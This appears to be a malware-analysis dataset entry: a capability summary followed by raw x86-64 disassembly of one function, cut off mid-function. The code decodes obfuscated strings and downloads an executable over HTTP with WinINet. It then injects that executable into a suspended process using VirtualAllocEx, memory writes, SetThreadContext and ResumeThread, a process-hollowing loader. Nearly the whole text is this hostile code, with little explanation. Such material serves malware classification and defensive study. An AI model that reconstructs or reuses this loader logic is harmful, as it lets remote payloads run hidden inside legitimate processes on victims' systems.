Function at 0x140001888
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create http request
Encode data using base64
Execute shellcode via indirect call
Get http content length
Parse pe header
Read data from internet
Receive data
Resume thread

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0xa28
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x990], xmm6
call fcn.140013160
mov edi, 0x3a0e84
lea rsi, [rbp + 0x461]
mov dword [rsi - 1], edi
call fcn.140001706
mov dword [rsi - 1], edi
mov byte [rsi - 1], 0
mov byte [rsi], 0x49
mov byte [rsi + 1], 0x22
mov al, 0x67
mov byte [rsi + 2], al
mov byte [rsi + 3], 0x30
mov byte [rsi + 4], 0x7d
mov byte [rsi + 5], 0x63
mov byte [rsi + 6], 0x4b
mov byte [rsi + 7], al
mov byte [rsi + 8], 0x68
mov byte [rsi + 9], 0x14
mov byte [rsi + 0xa], 0x78
cmp byte [rsi - 1], 0
jne 0x140001969
mov eax, 1
movzx ecx, byte [rbp + rax + 0x460]
lea edx, [rcx + rcx*8]
lea ecx, [rcx + rcx*8]
add ecx, 0xfffffbc8
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, edx
add ecx, 0xfffffbc8
movzx ecx, cx
movsx r8d, cx
shr ecx, 0xf
sar r8d, 6
add r8d, ecx
mov ecx, r8d
shl ecx, 7
sub r8d, ecx
lea ecx, [r8 + rdx]
add ecx, 0xfffffbc8
lea edx, [rcx + 0x7f]
cmp cx, 0xff81
movzx edx, dl
cmovb edx, ecx
mov byte [rbp + rax + 0x460], dl
inc rax
cmp rax, 0xc
jne 0x140001900
mov dword [rsp + 0x20], 0
mov rcx, rsi
mov edx, 1
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.WININET.dll_InternetOpenA]
test rax, rax
je 0x140002cf1
mov rsi, rax
lea rbx, [rbp - 0x2f]
mov byte [rbx - 1], 0
mov byte [rbx], 0x22
mov al, 0x23
mov byte [rbx + 1], al
mov byte [rbx + 2], al
mov cl, 0x4d
mov byte [rbx + 3], cl
mov byte [rbx + 4], 0x6d
mov byte [rbx + 5], 9
mov dl, 0x3d
mov byte [rbx + 6], dl
mov byte [rbx + 7], dl
mov byte [rbx + 8], 0x68
mov r8b, 0x7d
mov byte [rbx + 9], r8b
mov byte [rbx + 0xa], 0x13
mov byte [rbx + 0xb], 0x17
mov r9b, 0x52
mov byte [rbx + 0xc], r9b
mov r10b, 0x53
mov byte [rbx + 0xd], r10b
mov r11b, 0x48
mov byte [rbx + 0xe], r11b
mov byte [rbx + 0xf], r9b
mov byte [rbx + 0x10], 0x28
mov byte [rbx + 0x11], r8b
mov r8b, 0x33
mov byte [rbx + 0x12], r8b
mov byte [rbx + 0x13], r9b
mov byte [rbx + 0x14], r8b
mov byte [rbx + 0x15], r10b
mov byte [rbx + 0x16], r9b
mov r8b, 0x5d
mov byte [rbx + 0x17], r8b
mov byte [rbx + 0x18], r8b
mov byte [rbx + 0x19], r11b
mov r10b, 8
mov byte [rbx + 0x1a], r10b
mov r8b, 0x62
mov byte [rbx + 0x1b], r8b
mov byte [rbx + 0x1c], 0x6c
mov r11b, 0x38
mov byte [rbx + 0x1d], r11b
mov byte [rbx + 0x1e], 0x18
mov byte [rbx + 0x1f], 0x42
mov byte [rbx + 0x20], r9b
mov byte [rbx + 0x21], 0x37
mov byte [rbx + 0x22], r11b
mov r9b, 2
mov byte [rbx + 0x23], r9b
mov byte [rbx + 0x24], r9b
mov byte [rbx + 0x25], r10b
mov r9b, 0x2c
mov byte [rbx + 0x26], r9b
mov byte [rbx + 0x27], cl
mov byte [rbx + 0x28], cl
mov byte [rbx + 0x29], dl
mov byte [rbx + 0x2a], r11b
mov byte [rbx + 0x2b], r9b
mov byte [rbx + 0x2c], 0x43
mov byte [rbx + 0x2d], 0x4c
mov byte [rbx + 0x2e], r9b
mov byte [rbx + 0x2f], al
mov byte [rbx + 0x30], r9b
mov byte [rbx + 0x31], r10b
mov byte [rbx + 0x32], 0x61
mov byte [rbx + 0x33], 0x57
mov byte [rbx + 0x34], r8b
mov byte [rbx + 0x35], 0x6e
cmp byte [rbx - 1], 0
jne 0x140001aff
mov eax, 1
movzx ecx, byte [rbp + rax - 0x30]
shl ecx, 2
lea edx, [rcx + rcx*2]
lea ecx, [rcx + rcx*2]
add ecx, 0xfffffad8
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, edx
add ecx, 0xfffffad8
movzx ecx, cx
movsx r8d, cx
shr ecx, 0xf
sar r8d, 6
add r8d, ecx
mov ecx, r8d
shl ecx, 7
sub r8d, ecx
lea ecx, [r8 + rdx]
add ecx, 0xfffffad8
lea edx, [rcx + 0x7f]
cmp cx, 0xff81
movzx edx, dl
cmovb edx, ecx
mov byte [rbp + rax - 0x30], dl
inc rax
cmp rax, 0x37
jne 0x140001a99
lea r15, [rbp + 0x470]
mov qword [r15 - 0x10], r15
mov rcx, rbx
call sub.msvcrt.dll_strlen
lea r8, [rax + rbx]
lea rdi, [rbp + 0x460]
mov rcx, rdi
mov rdx, rbx
call fcn.1400a2350
lea rbx, [rbp + 0x480]
lea r14, [rbp + 0x3e1]
mov byte [r14 - 1], 0
mov byte [r14], 0x6b
mov al, 0x49
mov byte [r14 + 1], al
mov byte [r14 + 2], al
mov cl, 0x2a
mov byte [r14 + 3], cl
mov byte [r14 + 4], 0x61
mov byte [r14 + 5], 0x44
mov dl, 0x4e
mov byte [r14 + 6], dl
mov byte [r14 + 7], dl
mov byte [r14 + 8], 0xd
mov r8b, 0x3d
mov byte [r14 + 9], r8b
mov byte [r14 + 0xa], 0x6d
mov byte [r14 + 0xb], 0x64
mov r9b, 0x7e
mov byte [r14 + 0xc], r9b
mov r10b, 0x5c
mov byte [r14 + 0xd], r10b
mov r11b, 0x55
mov byte [r14 + 0xe], r11b
mov byte [r14 + 0xf], r9b
mov byte [r14 + 0x10], 0x1e
mov byte [r14 + 0x11], r8b
mov r8b, 0x25
mov byte [r14 + 0x12], r8b
mov byte [r14 + 0x13], r9b
mov byte [r14 + 0x14], r8b
mov byte [r14 + 0x15], r10b
mov byte [r14 + 0x16], r9b
mov r8b, 6
mov byte [r14 + 0x17], r8b
mov byte [r14 + 0x18], r8b
mov byte [r14 + 0x19], r11b
mov r10b, 0x66
mov byte [r14 + 0x1a], r10b
mov r8b, 0x5a
mov byte [r14 + 0x1b], r8b
mov byte [r14 + 0x1c], 4
mov r11b, 0x79
mov byte [r14 + 0x1d], r11b
mov byte [r14 + 0x1e], 0x42
mov byte [r14 + 0x1f], 0x23
mov byte [r14 + 0x20], r9b
mov byte [r14 + 0x21], 0x1c
mov byte [r14 + 0x22], r11b
mov r9b, 0x34
mov byte [r14 + 0x23], r9b
mov byte [r14 + 0x24], r9b
mov byte [r14 + 0x25], r10b
mov r9b, 0x15
mov byte [r14 + 0x26], r9b
mov byte [r14 + 0x27], cl
mov byte [r14 + 0x28], cl
mov byte [r14 + 0x29], dl
mov byte [r14 + 0x2a], r11b
mov byte [r14 + 0x2b], r9b
mov byte [r14 + 0x2c], 1
mov byte [r14 + 0x2d], 0x4c
mov byte [r14 + 0x2e], r9b
mov byte [r14 + 0x2f], al
mov byte [r14 + 0x30], r9b
mov byte [r14 + 0x31], r10b
mov byte [r14 + 0x32], 0x7c
mov byte [r14 + 0x33], 0x53
mov byte [r14 + 0x34], r8b
mov byte [r14 + 0x35], 0x3f
cmp byte [r14 - 1], 0
jne 0x140001cbe
mov eax, 1
movzx ecx, byte [rbp + rax + 0x3e0]
lea edx, [rcx + rcx*8]
lea r8d, [rcx + rdx*4]
lea ecx, [rcx + rdx*4]
add ecx, 0xfffff6e5
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, r8d
add ecx, 0xfffff6e5
movzx ecx, cx
movsx edx, cx
shr ecx, 0xf
sar edx, 6
add edx, ecx
mov ecx, edx
shl ecx, 7
sub edx, ecx
lea ecx, [rdx + r8]
add ecx, 0xfffff6e5
lea edx, [rcx + 0x7f]
cmp cx, 0xff81
movzx edx, dl
cmovb edx, ecx
mov byte [rbp + rax + 0x3e0], dl
inc rax
cmp rax, 0x37
jne 0x140001c55
lea rax, [rbp + 0x490]
mov qword [rax - 0x10], rax
mov rcx, r14
call sub.msvcrt.dll_strlen
lea r8, [rax + r14]
mov rcx, rbx
mov rdx, r14
call fcn.1400a2350
mov qword [rbp + 0x960], rsi
lea rdx, [rbp + 0x3d0]
mov qword [rdx], rdi
mov qword [rdx + 8], 2
lea rcx, [rbp + 0x448]
lea r8, [rbp + 0x938]
call fcn.1400a0fea
mov rsi, 0xffffffffffffffc0
lea rdi, [rbp + 0x4a0]
mov rcx, qword [rdi - 0x20]
lea rax, [rdi - 0x10]
cmp rax, rcx
je 0x140001d2c
call fcn.1400b7790
add rdi, 0xffffffffffffffe0
add rsi, 0x20
jne 0x140001d1a
mov r13, qword [rbp + 0x448]
mov r15, qword [rbp + 0x450]
cmp r13, r15
mov rsi, qword [rbp + 0x960]
je 0x140002be5
xorps xmm6, xmm6
mov dword [rbp + 0x988], 0
mov rdx, qword [r13]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x400100
mov rcx, rsi
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
test rax, rax
je 0x140001e74
mov dword [rbp + 0x98c], 0
mov dword [rbp + 0x968], 4
mov qword [rsp + 0x20], 0
mov qword [rbp + 0x958], rax
mov rcx, rax
mov edx, 0x20000005
lea r8, [rbp + 0x98c]
lea r9, [rbp + 0x968]
call qword [sym.imp.WININET.dll_HttpQueryInfoA]
mov edx, dword [rbp + 0x98c]
lea rcx, [rbp + 0x938]
lea r8, [rbp + 0x460]
call fcn.1400a1088
mov dword [rbp + 0x96c], 0
mov rdx, qword [rbp + 0x938]
mov r8d, dword [rbp + 0x98c]
mov rdi, qword [rbp + 0x958]
mov rcx, rdi
lea r9, [rbp + 0x96c]
call qword [sym.imp.WININET.dll_InternetReadFile]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov r14, qword [rbp + 0x938]
mov dword [rbp + 0x460], 0x3a0e84
imul eax, dword [rbp + 0x460], 0xaaaaaaab
add eax, 0x2aaaaaaa
cmp eax, 0x55555555
jb 0x14000200d
mov eax, dword [rbp + 0x460]
add eax, r14d
add eax, 2
mov dword [rbp + 0x460], eax
test dword [rbp + 0x460], 3
jne 0x140002148
inc dword [rbp + 0x460]
jmp 0x140001e5c
mov rdi, rax
xor r11d, r11d
mov byte [rbp + 0x460], r11b
mov byte [rbp + 0x461], 9
mov al, 0x77
mov byte [rbp + 0x462], al
mov cl, 0x22
mov byte [rbp + 0x463], cl
mov dl, 0x12
mov byte [rbp + 0x464], dl
mov r8b, 0xd
mov byte [rbp + 0x465], r8b
mov r9b, 0x67
mov byte [rbp + 0x466], r9b
mov byte [rbp + 0x467], r11b
mov byte [rbp + 0x468], 0x3c
mov r10b, 2
mov byte [rbp + 0x469], r10b
mov byte [rbp + 0x46a], r11b
mov byte [rbp + 0x46b], r9b
mov byte [rbp + 0x46c], r10b
mov byte [rbp + 0x46d], 0x2c
mov byte [rbp + 0x46e], 0x5c
mov byte [rbp + 0x46f], dl
mov byte [rbp + 0x470], r10b
mov byte [rbp + 0x471], al
mov byte [rbp + 0x472], r9b
mov byte [rbp + 0x473], r11b
mov byte [rbp + 0x474], 0x32
mov byte [rbp + 0x475], cl
mov byte [rbp + 0x476], dl
mov byte [rbp + 0x477], r8b
mov byte [rbp + 0x478], 0xa
mov byte [rbp + 0x479], 0x56
cmp byte [rbp + 0x460], r11b
jne 0x140001fa6
mov eax, 1
movzx ecx, byte [rbp + rax + 0x460]
shl ecx, 3
lea ecx, [rcx + rcx*2]
mov edx, 0x810
sub edx, ecx
movsx ecx, dx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, edx
movzx ecx, cx
movsx r8d, cx
shr ecx, 0xf
sar r8d, 6
add r8d, ecx
mov ecx, r8d
shl ecx, 7
sub r8d, ecx
add r8d, edx
lea ecx, [r8 + 0x7f]
cmp r8w, 0xff81
movzx ecx, cl
cmovb ecx, r8d
mov byte [rbp + rax + 0x460], cl
inc rax
cmp rax, 0x1a
jne 0x140001f46
lea rbx, [rbp + 0x461]
mov rcx, rbx
call sub.msvcrt.dll_strlen
mov rcx, qword [0x1400c4180]
mov rdx, rbx
mov r8, rax
call fcn.1400b2610
mov rdx, qword [0x1400c4180]
mov rax, qword [rdx]
mov rcx, qword [rax - 0x18]
add rcx, rdx
mov dl, 0xa
call fcn.1400691f0
mov rcx, qword [0x1400c4180]
mov edx, eax
call fcn.140076d90
mov rcx, rax
call fcn.140076f70
mov dword [rbp + 0x988], 1
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x140002bcf
test dword [rbp + 0x460], 1
mov eax, dword [rbp + 0x460]
jne 0x140002086
mov ecx, dword [rbp + 0x460]
test al, 3
je 0x1400020ca
add ecx, 2
lea eax, [r14 + 3]
imul eax, ecx
mov dword [rbp + 0x460], eax
mov eax, dword [rbp + 0x460]
test al, 1
jne 0x140002148
imul ecx, dword [rbp + 0x460], 0xcccccccd
add ecx, 0x19999999
mov eax, dword [rbp + 0x460]
cmp ecx, 0x33333333
jb 0x14000206d
dec eax
jmp 0x14000206f
inc eax
mov dword [rbp + 0x460], eax
test dword [rbp + 0x460], 1
je 0x14000204b
jmp 0x140002148
sub eax, r14d
add eax, 2
mov dword [rbp + 0x460], eax
imul eax, dword [rbp + 0x460], 0xaaaaaaab
add eax, 0x2aaaaaaa
cmp eax, 0x55555554
ja 0x140002148
inc dword [rbp + 0x460]
imul eax, dword [rbp + 0x460], 0xaaaaaaab
add eax, 0x2aaaaaaa
cmp eax, 0x55555555
jb 0x1400020ac
jmp 0x140002148
imul eax, ecx, 0xcccccccd
add eax, 0x19999999
cmp eax, 0x33333333
jb 0x140002148
mov eax, dword [rbp + 0x460]
add eax, 0xb
lea ecx, [r14 + 0x17]
cdq
idiv ecx
mov dword [rbp + 0x460], eax
imul eax, dword [rbp + 0x460], 0xaaaaaaab
add eax, 0x2aaaaaaa
cmp eax, 0x55555554
ja 0x140002148
imul ecx, dword [rbp + 0x460], 0xcccccccd
add ecx, 0x19999999
mov eax, dword [rbp + 0x460]
cmp ecx, 0x33333333
jb 0x14000212a
inc eax
jmp 0x14000212c
dec eax
mov dword [rbp + 0x460], eax
imul eax, dword [rbp + 0x460], 0xaaaaaaab
add eax, 0x2aaaaaaa
cmp eax, 0x55555555
jb 0x140002108
movaps xmmword [rbp + 0x970], xmm6
xor eax, eax
mov qword [rbp + 0x980], rax
movaps xmmword [rbp + 0x3e0], xmm6
movaps xmmword [rbp + 0x3f0], xmm6
movaps xmmword [rbp + 0x400], xmm6
movaps xmmword [rbp + 0x410], xmm6
movaps xmmword [rbp + 0x420], xmm6
movaps xmmword [rbp + 0x430], xmm6
mov qword [rbp + 0x440], rax
mov dword [rbp + 0x460], 0x3a0e84
movsxd rax, dword [r14 + 0x3c]
cmp dword [rax + r14], 0x4550
jne 0x14000264c
mov rdi, rax
xor ecx, ecx
lea rdx, [rbp - 0x30]
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov byte [rbp + 0x460], 0
mov byte [rbp + 0x461], 0x25
mov al, 0x2d
mov byte [rbp + 0x462], al
mov byte [rbp + 0x463], 0x46
mov byte [rbp + 0x464], 0x21
mov byte [rbp + 0x465], al
mov al, 0x4e
mov byte [rbp + 0x466], al
mov byte [rbp + 0x467], 0x1b
mov byte [rbp + 0x468], 0x71
mov byte [rbp + 0x469], 0x4c
mov byte [rbp + 0x46a], 4
mov byte [rbp + 0x46b], al
mov byte [rbp + 0x46c], al
mov byte [rbp + 0x46d], 0x5f
cmp byte [rbp + 0x460], 0
jne 0x140002294
mov eax, 1
movzx edx, byte [rbp + rax + 0x460]
mov ecx, edx
shl ecx, 5
sub ecx, edx
mov edx, ecx
add edx, 0xfffff47f
movsx edx, dx
imul edx, edx, 0xffff8103
shr edx, 0x10
add edx, ecx
add edx, 0xfffff47f
movzx edx, dx
movsx r8d, dx
shr edx, 0xf
sar r8d, 6
add r8d, edx
mov edx, r8d
shl edx, 7
sub r8d, edx
add ecx, r8d
add ecx, 0xfffff47f
lea edx, [rcx + 0x7f]
cmp cx, 0xff81
movzx edx, dl
cmovb edx, ecx
mov byte [rbp + rax + 0x460], dl
inc rax
cmp rax, 0xe
jne 0x140002229
lea rcx, [rbp + 0x461]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
test rax, rax
je 0x140002764
mov byte [rbp + 0x460], 0
mov byte [rbp + 0x461], 0x1d
mov al, 0x66
mov byte [rbp + 0x462], al
mov cl, 0x47
mov byte [rbp + 0x463], cl
mov byte [rbp + 0x464], 0x51
mov byte [rbp + 0x465], 0x61
mov byte [rbp + 0x466], cl
mov byte [rbp + 0x467], 0x3c
mov byte [rbp + 0x468], al
mov byte [rbp + 0x469], 0x2e
mov byte [rbp + 0x46a], 0x4c
mov byte [rbp + 0x46b], cl
mov al, 0x24
mov byte [rbp + 0x46c], al
mov byte [rbp + 0x46d], al
mov byte [rbp + 0x46e], 0x22
mov byte [rbp + 0x46f], 6
cmp byte [rbp + 0x460], 0
jne 0x140002396
mov eax, 1
movzx ecx, byte [rbp + rax + 0x460]
lea ecx, [rcx + rcx*4]
lea edx, [rcx + rcx*4]
lea ecx, [rcx + rcx*4]
add ecx, 0xffffff6a
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, edx
add ecx, 0xffffff6a
movzx ecx, cx
movsx r8d, cx
shr ecx, 0xf
sar r8d, 6
add r8d, ecx
mov ecx, r8d
shl ecx, 7
sub r8d, ecx
lea ecx, [r8 + rdx]
add ecx, 0xffffff6a
lea edx, [rcx + 0x7f]
cmp cx, 0xff81
movzx edx, dl
cmovb edx, ecx
mov byte [rbp + rax + 0x460], dl
inc rax
cmp rax, 0x10
jne 0x14000232a
mov rcx, rbx
lea rdx, [rbp + 0x461]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r12, rax
mov byte [rbp + 0x460], 0
mov byte [rbp + 0x461], 0x52
mov al, 0x44
mov byte [rbp + 0x462], al
mov byte [rbp + 0x463], 0x73
mov byte [rbp + 0x464], 0x72
mov cl, 0x17
mov byte [rbp + 0x465], cl
mov byte [rbp + 0x466], 0x30
mov byte [rbp + 0x467], al
mov dl, 0x7e
mov byte [rbp + 0x468], dl
mov byte [rbp + 0x469], 0x68
mov byte [rbp + 0x46a], cl
mov r8b, 0x5b
mov byte [rbp + 0x46b], r8b
mov byte [rbp + 0x46c], r8b
mov byte [rbp + 0x46d], 0x6a
mov byte [rbp + 0x46e], cl
mov byte [rbp + 0x46f], 0x50
mov byte [rbp + 0x470], dl
mov byte [rbp + 0x471], al
mov byte [rbp + 0x472], 0x66
mov byte [rbp + 0x473], 0x71
cmp byte [rbp + 0x460], 0
jne 0x1400024ab
mov eax, 1
movzx ecx, byte [rbp + rax + 0x460]
imul ecx, ecx, 0xfffffff5
mov edx, ecx
add edx, 0x4db
movsx edx, dx
imul edx, edx, 0xffff8103
shr edx, 0x10
add edx, ecx
add edx, 0x4db
movzx edx, dx
movsx r8d, dx
shr edx, 0xf
sar r8d, 6
add r8d, edx
mov edx, r8d
shl edx, 7
sub r8d, edx
add ecx, r8d
add ecx, 0x4db
lea edx, [rcx + 0x7f]
cmp cx, 0xff81
movzx edx, dl
cmovb edx, ecx
mov byte [rbp + rax + 0x460], dl
inc rax
cmp rax, 0x14
jne 0x140002444
mov rcx, rbx
lea rdx, [rbp + 0x461]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test r12, r12
je 0x1400028c1
mov rbx, rax
test rax, rax
je 0x1400028c1
mov rsi, r15
lea rax, [rbp + 0x970]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x3e0]
mov qword [rsp + 0x40], rax
movups xmmword [rsp + 0x30], xmm6
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
lea rcx, [rbp - 0x30]
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call r12
test rax, rax
je 0x140002a4c
mov dword [rbp + 0x490], 0x10000b
mov rcx, qword [rbp + 0x978]
lea rdx, [rbp + 0x460]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x140002b93
add rdi, r14
mov rcx, qword [rbp + 0x970]
mov rdx, qword [rdi + 0x30]
mov r15, rdi
mov r8d, dword [rdi + 0x50]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r12, rax
mov dword [rbp + 0x934], 0x3a0e84
mov rcx, qword [rbp + 0x970]
mov r9d, dword [r15 + 0x54]
mov qword [rsp + 0x20], 0
mov rdx, rax
mov r8, r14
call rbx
mov qword [rbp + 0x950], rsi
cmp word [r15 + 6], 0
je 0x1400025e3
lea rdi, [r14 + 0x108]
xor esi, esi
movsxd rax, dword [r14 + 0x3c]
mov rcx, qword [rbp + 0x970]
mov edx, dword [rdi + rax + 0xc]
mov r9d, dword [rdi + rax + 0x10]
add rdx, r12
mov r8d, dword [rdi + rax + 0x14]
add r8, r14
mov qword [rsp + 0x20], 0
call rbx
inc rsi
movzx eax, word [r15 + 6]
add rdi, 0x28
cmp rsi, rax
jb 0x1400025a8
lea r8, [r15 + 0x30]
mov rcx, qword [rbp + 0x970]
mov rdx, qword [rbp + 0x4e8]
add rdx, 0x10
mov qword [rsp + 0x20], 0
mov r9d, 8
call rbx
mov rsi, qword [rbp + 0x950]
mov eax, dword [r15 + 0x28]
add rax, r12
mov qword [rbp + 0x4e0], rax
mov qword [rbp + 0x4e8], r12
mov rcx, qword [rbp + 0x978]
lea rdx, [rbp + 0x460]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [rbp + 0x978]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
jmp 0x140002b93
mov byte [rbp + 0x460], 0
mov byte [rbp + 0x461], 0x54
mov byte [rbp + 0x462], 0x1f
mov byte [rbp + 0x463], 0x2f
mov byte [rbp + 0x464], 5
mov cl, 0x1b
mov byte [rbp + 0x465], cl
mov dl, 0x15
mov byte [rbp + 0x466], dl
mov byte [rbp + 0x467], 0xb
mov al, 2
mov byte [rbp + 0x468], al
mov byte [rbp + 0x469], 0x62
mov byte [rbp + 0x46a], 0x4c
mov byte [rbp + 0x46b], al
mov byte [rbp + 0x46c], 0xf
mov byte [rbp + 0x46d], dl
mov byte [rbp + 0x46e], cl
mov byte [rbp + 0x46f], 0xd
mov byte [rbp + 0x470], 0x1e
mov byte [rbp + 0x471], 0x55
mov byte [rbp + 0x472], 0x41
cmp byte [rbp + 0x460], 0
jne 0x140002753
mov eax, 1
movzx edx, byte [rbp + rax + 0x460]
mov r8d, edx
shl r8d, 6
mov ecx, edx
sub ecx, r8d
neg r8d
add edx, r8d
add edx, 0xfff
movsx edx, dx
imul edx, edx, 0xffff8103
shr edx, 0x10
add edx, ecx
add edx, 0xfff
movzx edx, dx
movsx r8d, dx
shr edx, 0xf
sar r8d, 6
add r8d, edx
mov edx, r8d
shl edx, 7
sub r8d, edx
add ecx, r8d
add ecx, 0xfff
lea edx, [rcx + 0x7f]
cmp cx, 0xff81
movzx edx, dl
cmovb edx, ecx
mov byte [rbp + rax + 0x460], dl
inc rax
cmp rax, 0x13
jne 0x1400026df
lea rcx, [rbp + 0x461]
call fcn.140002ed8
jmp 0x140002b96
mov byte [rbp + 0x460], 0
mov byte [rbp + 0x461], 0x32
mov al, 0x35
mov byte [rbp + 0x462], al
mov byte [rbp + 0x463], 0x44
mov cl, 0x1a
mov byte [rbp + 0x464], cl
mov dl, 0x7c
mov byte [rbp + 0x465], dl
mov r8b, 0xb
mov byte [rbp + 0x466], r8b
mov r9b, 0x4a
mov byte [rbp + 0x467], r9b
mov byte [rbp + 0x468], 0x29
mov r10b, 0x6f
mov byte [rbp + 0x469], r10b
mov byte [rbp + 0x46a], r9b
mov byte [rbp + 0x46b], cl
mov byte [rbp + 0x46c], r10b
mov byte [rbp + 0x46d], al
mov byte [rbp + 0x46e], r8b
mov byte [rbp + 0x46f], r9b
mov byte [rbp + 0x470], 0x28
mov byte [rbp + 0x471], dl
mov byte [rbp + 0x472], 0x45
mov byte [rbp + 0x473], 0x7d
mov byte [rbp + 0x474], dl
mov byte [rbp + 0x475], cl
mov byte [rbp + 0x476], 0x3e
mov byte [rbp + 0x477], 0x4c
mov al, 5
mov byte [rbp + 0x478], al
mov byte [rbp + 0x479], r8b
mov byte [rbp + 0x47a], cl
mov byte [rbp + 0x47b], cl
mov byte [rbp + 0x47c], al
mov byte [rbp + 0x47d], 1
mov byte [rbp + 0x47e], 0xe
cmp byte [rbp + 0x460], 0
jne 0x1400028b0
mov eax, 1
movzx ecx, byte [rbp + rax + 0x460]
lea edx, [rcx + rcx*8]
lea ecx, [rcx + rcx*8]
add ecx, 0xffffff82
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, edx
add ecx, 0xffffff82
movzx ecx, cx
movsx r8d, cx
shr ecx, 0xf
sar r8d, 6
add r8d, ecx
mov ecx, r8d
shl ecx, 7
sub r8d, ecx
lea ecx, [r8 + rdx]
add ecx, 0xffffff82
lea edx, [rcx + 0x7f]
cmp cx, 0xff81
movzx edx, dl
cmovb edx, ecx
mov byte [rbp + rax + 0x460], dl
inc rax
cmp rax, 0x1f
jne 0x140002850
lea rcx, [rbp + 0x461]
call fcn.140002ed8
jmp 0x140002b96
mov byte [rbp + 0x460], 0
mov byte [rbp + 0x461], 0x3f
mov cl, 0x3e
mov byte [rbp + 0x462], cl
mov dl, 0x39
mov byte [rbp + 0x463], dl
mov byte [rbp + 0x464], 0x47
mov al, 0x7b
mov byte [rbp + 0x465], al
mov r8b, 0x4c
mov byte [rbp + 0x466], r8b
mov r9b, 0x37
mov byte [rbp + 0x467], r9b
mov r10b, 0x42
mov byte [rbp + 0x468], r10b
mov r11b, 0x55
mov byte [rbp + 0x469], r11b
mov byte [rbp + 0x46a], r9b
mov byte [rbp + 0x46b], 0x5a
mov byte [rbp + 0x46c], al
mov byte [rbp + 0x46d], r10b
mov byte [rbp + 0x46e], r9b
mov byte [rbp + 0x46f], 0x2b
mov byte [rbp + 0x470], 0x71
mov bl, 0x26
mov byte [rbp + 0x471], bl
mov byte [rbp + 0x472], 0x1d
mov byte [rbp + 0x473], r10b
mov byte [rbp + 0x474], dl
mov byte [rbp + 0x475], r11b
mov byte [rbp + 0x476], bl
mov byte [rbp + 0x477], r9b
mov byte [rbp + 0x478], cl
mov byte [rbp + 0x479], r8b
mov byte [rbp + 0x47a], r8b
mov byte [rbp + 0x47b], 0x63
mov byte [rbp + 0x47c], al
mov cl, 0x13
mov byte [rbp + 0x47d], cl
mov byte [rbp + 0x47e], cl
mov byte [rbp + 0x47f], al
mov byte [rbp + 0x480], cl
mov byte [rbp + 0x481], 0x4e
mov byte [rbp + 0x482], 0x25
mov byte [rbp + 0x483], 0x4b
cmp byte [rbp + 0x460], 0
jne 0x140002a3b
mov eax, 1
movzx ecx, byte [rbp + rax + 0x460]
imul ecx, ecx, 0xffffffe5
mov edx, ecx
add edx, 0x7e9
movsx edx, dx
imul edx, edx, 0xffff8103
shr edx, 0x10
add edx, ecx
add edx, 0x7e9
movzx edx, dx
movsx r8d, dx
shr edx, 0xf
sar r8d, 6
add r8d, edx
mov edx, r8d
shl edx, 7
sub r8d, edx
add ecx, r8d
add ecx, 0x7e9
lea edx, [rcx + 0x7f]
cmp cx, 0xff81
movzx edx, dl
cmovb edx, ecx
mov byte [rbp + rax + 0x460], dl
inc rax
cmp rax, 0x24
jne 0x1400029d4
lea rcx, [rbp + 0x461]
call fcn.140002ed8
jmp 0x140002b96
mov byte [rbp + 0x460], 0
mov byte [rbp + 0x461], 0x3e
mov al, 0x7c
mov byte [rbp + 0x462], al
mov byte [rbp + 0x463], 0x35
mov byte [rbp + 0x464], 0x4a
mov dl, 0x19
mov byte [rbp + 0x465], dl
mov byte [rbp + 0x466], 0x12
mov r8b, 0x32
mov byte [rbp + 0x467], r8b
mov r9b, 3
mov byte [rbp + 0x468], r9b
mov r10b, 0x5f
mov byte [rbp + 0x469], r10b
mov byte [rbp + 0x46a], r8b
mov cl, 0xb
mov byte [rbp + 0x46b], cl
mov r11b, 0x74
mov byte [rbp + 0x46c], r11b
mov byte [rbp + 0x46d], dl
mov byte [rbp + 0x46e], al
mov byte [rbp + 0x46f], r9b
mov byte [rbp + 0x470], dl
mov byte [rbp + 0x471], r8b
mov byte [rbp + 0x472], 0x66
mov byte [rbp + 0x473], r11b
mov byte [rbp + 0x474], r10b
mov byte [rbp + 0x475], cl
mov byte [rbp + 0x476], dl
mov al, 0x7b
mov byte [rbp + 0x477], al
mov byte [rbp + 0x478], al
mov byte [rbp + 0x479], 0x15
mov byte [rbp + 0x47a], 0x17
mov byte [rbp + 0x47b], 0x50
cmp byte [rbp + 0x460], 0
jne 0x140002b87
mov eax, 1
movzx ecx, byte [rbp + rax + 0x460]
add ecx, ecx
lea ecx, [rcx + rcx*8]
mov edx, 0x5a0
sub edx, ecx
movsx ecx, dx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, edx
movzx ecx, cx
movsx r8d, cx
shr ecx, 0xf
sar r8d, 6
add r8d, ecx
mov ecx, r8d
shl ecx, 7
sub r8d, ecx
add r8d, edx
lea ecx, [r8 + 0x7f]
cmp r8w, 0xff81
